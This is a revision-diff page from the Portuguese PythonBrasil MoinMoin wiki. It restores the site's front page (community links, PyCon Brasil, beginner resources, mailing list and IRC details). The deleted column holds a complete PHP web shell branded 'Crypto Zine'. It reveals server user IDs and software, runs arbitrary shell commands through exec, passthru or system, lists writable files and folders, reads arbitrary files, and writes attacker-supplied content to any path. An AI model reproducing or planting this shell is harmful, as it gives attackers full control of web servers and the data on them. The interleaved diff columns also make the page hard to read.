4935
Comentário:
|
3611
|
Deleções são marcadas assim. | Adições são marcadas assim. |
Linha 1: | Linha 1: |
<center> <?php |
#acl All:read AdminGroup:read,write,delete,revert,admin |
Linha 4: | Linha 3: |
closelog( ); | Este site foi idealizado para abrigar todo o material sobre [http://python.org Python] editado em nosso idioma (português). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente. Veja o ComoUsarWiki para aprender a usá-lo. |
Linha 7: | Linha 5: |
$dono = get_current_user( ); $ver = phpversion( ); $login = posix_getuid( ); $euid = posix_geteuid( ); $gid = posix_getgid( ); if ($chdir == "") $chdir = getcwd( ); ?> |
= Artigos & Palestras = |
Linha 16: | Linha 7: |
* 28/08/2006 - [http://webinsider.uol.com.br/index.php/2006/08/28/python-e-opcao-para-desenvolvimento-web/ Python como opção para desenvolvimento web (WebInsider)] * 09/09/2006 - Apresentação: Python e Maemo com Osvaldo Santana Neto e Gustavo Barbieri na Livraria Cultura de Recife no dia 09 de setembro de 2006 às 18hs (antes de ir ligue para a livraria confirmando. Tel.: (81) 2102-4033) |
|
Linha 17: | Linha 10: |
<?php | = II PyCon Brasil = |
Linha 19: | Linha 12: |
$uname = posix_uname( ); while (list($info, $value) = each ($uname)) { |
A II !PyCon Brasil, realizado em Brasília nos dias 1 e 2 de junho, foi um sucesso total! Para saber como foi o evento, veja as seguintes referências: |
Linha 22: | Linha 14: |
?> <TR> <TD width="457"><DIV STYLE="font-family: verdana; font-size: 10px;"><?= $info ?>: <?= $value ?></DIV></TD> </TR> |
* http://pyconbrasil.com.br/downloads/videos/ (Vídeos do evento) * http://pyconbrasil.com.br/sobre/fotos * http://del.icio.us/marcoandre/PyConBrasil * http://www.flickr.com/photos/dtremea/sets/72157594158790791/ * http://www.flickr.com/photos/46925292@N00/tags/pycon2br/ |
Linha 27: | Linha 20: |
= Iniciantes = | |
Linha 28: | Linha 22: |
<?php } ?> <center> <TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||Usuario Corrente|||<br> <?= $dono ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PHP|||<br> <?= $ver ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||PriV|||<br> uid(<?= $login ?>) euid(<?= $euid ?>) gid(<?= $gid ?>)</DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">||||Path||||<br> <?= $chdir ?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #ccc7777">|||ServerName|||<br><?php $aaa = gethostbyname($SERVER_NAME); echo $aaa;?></DIV></TD> </TR> <TR> <TD><DIV STYLE="font-family: verdana; font-size: 10px;color: #f40707">|||HTTPD|||<br> <?="$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD> </TR> </TABLE> <BR> <?php |
Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python: |
Linha 57: | Linha 24: |
if ($cmd != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; |
* InstalandoPythonNoWindows - Dica de como instalar o Python no Windows XP. * AprendaProgramar - Aprenda a Programar com a linguagem Python. * ListaDeExercicios - Para quem quer se exercitar e não sabe por onde começar. * DocumentacaoPython - Dezenas de tutoriais e artigos sobre Python para os mais diversos níveis de aprendizado. * CookBook - Exemplos e trechos de códigos úteis. * PerguntasFrequentes - Respostas às perguntas mais freqüentes. |
Linha 60: | Linha 31: |
?> | = Como Participar = |
Linha 62: | Linha 33: |
<DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php |
Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC. |
Linha 65: | Linha 35: |
if ($fe == 1){ $fe = "exec"; } if ($fe == ""){ $fe = "passthru"; } if ($fe == "2"){ $fe = "system"; } |
=== Lista de Discussão === |
Linha 75: | Linha 37: |
if (isset($chdir)) @chdir($chdir); | A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto. |
Linha 77: | Linha 39: |
ob_start( ); $fe("$cmd 2>&1"); $output = ob_get_contents(); ob_end_clean( ); |
[[HTML(<p><form method="get" action="http://br.groups.yahoo.com/subscribe/python-brasil">Assine a Lista: <input type="text" name="user" value="endereço de e-mail" size="20" /> <input type="submit" value="Assinar" /></form></p>)]] |
Linha 82: | Linha 41: |
?> <TEXTAREA COLS="75" ROWS="8" STYLE="font-family: verdana; font-size: 10px;"> <?php |
/!\ '''Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.''' |
Linha 86: | Linha 43: |
if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> </TEXTAREA> <BR> <?php |
Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação. |
Linha 92: | Linha 45: |
} if ($listar != "") { echo "<DIV STYLE=\"font-family: verdana; font-size: 10px;\"><b></b> </DIV>"; |
=== Canal de IRC === |
Linha 97: | Linha 47: |
?> <DIV STYLE="font-family: verdana; font-size: 20px; font-weight: bold; color: #f40707;">||Crypto Zine||</DIV> <?php |
O canal oficial do '''Python''' no Brasil é o #python-br do irc.freenode.org. |
Linha 101: | Linha 49: |
if ($dir = @opendir($chdir)) { echo "<TABLE border=1 cellspacing=1 cellpadding=0>"; echo "<TR>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos</b> <br><br>"; while (($file = readdir($dir)) !== false) { if (@is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=green>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&oia=$file>$file</a><br>"; // echo "<font color=green>$file1 - $file2 - $file </font><br>"; flush( ); } } |
=== Outros === |
Linha 116: | Linha 51: |
echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas</b> <br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=blue>$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&chdir=$chdir/$file>$file</a><br>"; // echo "<font color=blue>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo"<TD valign=top>"; echo "<b><font size=2 face=arial>Pastas Alteraveis</b><br><br>"; if ($dir = @opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_dir($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TD>"; echo "<TD valign=top>"; echo "<b><font size=2 face=arial>Arquivos Alteraveis</b> <br><br>"; if ($dir = opendir($chdir)) { while (($file = readdir($dir)) !== false) { if (@is_writable($file) && @is_file($file)) { $file1 = fileowner($file); $file2 = fileperms($file); echo "<font color=red>$file1 - $file2 - $file </font><br>"; } } } echo "</TD>"; echo "</TR>"; echo "</TABLE>"; } } ?> <html> <body> <form action=<?php echo $PHP_SELF; ?> method=post> <input type=text name=codigo value="Codigo"> <input type=text name=caminho value="Caminho"> <br> <input type=submit value=Send> <br> </body> </html> <?php $codigo="$_POST[codigo]"; $caminho="$_POST[caminho]"; $fp = fopen("$caminho", "w"); $ok = fwrite($fp, $codigo); if ($oia != "") { $fp = fopen($oia, "r"); $read = fread($fp, 30000); echo "$oia<br>"; echo "<textarea name=textarea cols=80 rows=15>"; echo "$read"; Echo "</textarea>"; } ?> |
* CaixaDeSugestoes - Coloque aqui as suas sugestões para o presente e o futuro do PythonBrasil. * PaginasPessoaisLivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura). * OutrosGruposUsuarios - Outros sites de grupos de usuários Python. |
Este site foi idealizado para abrigar todo o material sobre [http://python.org Python] editado em nosso idioma (português). Ele utiliza o software MoinMoin que é um [http://c2.com/cgi/wiki Wiki] inteiramente escrito em Python. Esse sistema foi escolhido por sua facilidade de uso e por ser uma ferramenta bastante democrática, permitindo que se desenvolva material rapidamente. Veja o ComoUsarWiki para aprender a usá-lo.
Artigos & Palestras
28/08/2006 - [http://webinsider.uol.com.br/index.php/2006/08/28/python-e-opcao-para-desenvolvimento-web/ Python como opção para desenvolvimento web (WebInsider)]
- 09/09/2006 - Apresentação: Python e Maemo com Osvaldo Santana Neto e Gustavo Barbieri na Livraria Cultura de Recife no dia 09 de setembro de 2006 às 18hs (antes de ir ligue para a livraria confirmando. Tel.: (81) 2102-4033)
II PyCon Brasil
A II PyCon Brasil, realizado em Brasília nos dias 1 e 2 de junho, foi um sucesso total! Para saber como foi o evento, veja as seguintes referências:
http://pyconbrasil.com.br/downloads/videos/ (Vídeos do evento)
http://www.flickr.com/photos/dtremea/sets/72157594158790791/
Iniciantes
Leitura recomendada para aqueles que têm interesse ou são iniciantes na linguagem Python:
InstalandoPythonNoWindows - Dica de como instalar o Python no Windows XP.
AprendaProgramar - Aprenda a Programar com a linguagem Python.
ListaDeExercicios - Para quem quer se exercitar e não sabe por onde começar.
DocumentacaoPython - Dezenas de tutoriais e artigos sobre Python para os mais diversos níveis de aprendizado.
CookBook - Exemplos e trechos de códigos úteis.
PerguntasFrequentes - Respostas às perguntas mais freqüentes.
Como Participar
Você pode participar da comunidade PythonBrasil diretamente aqui no site, através da lista de discussão ou via IRC.
Lista de Discussão
A lista oficial do site é: python-brasil@yahoogrupos.com.br ([http://br.groups.yahoo.com/group/python-brasil/ página principal]). Para se cadastrar na python-brasil, envie email (com qualquer conteúdo/assunto) para python-brasil-subscribe@yahoogrupos.com.br ou preencher o formulário abaixo. Feito isso você receberá um e-mail de confirmação. É só responder a esse e-mail e pronto.
Antes de enviar mensagens para a lista dê uma lida na página AntesDePerguntar.
Existe ainda uma lista chamada python-br que está sendo desativada. Se você tem conta nesta lista, por favor migre para a lista python-brasil. Pedimos a todos pythonistas e curiosos que não remetam e-mails para a lista python-br! Ela não tem como ser moderada ou gerenciada devido a um problema de autenticação.
Canal de IRC
O canal oficial do Python no Brasil é o #python-br do irc.freenode.org.
Outros
CaixaDeSugestoes - Coloque aqui as suas sugestões para o presente e o futuro do PythonBrasil.
PaginasPessoaisLivroDeVisitas - Livro de visitas do Site (entre aqui e deixe sua assinatura).
OutrosGruposUsuarios - Outros sites de grupos de usuários Python.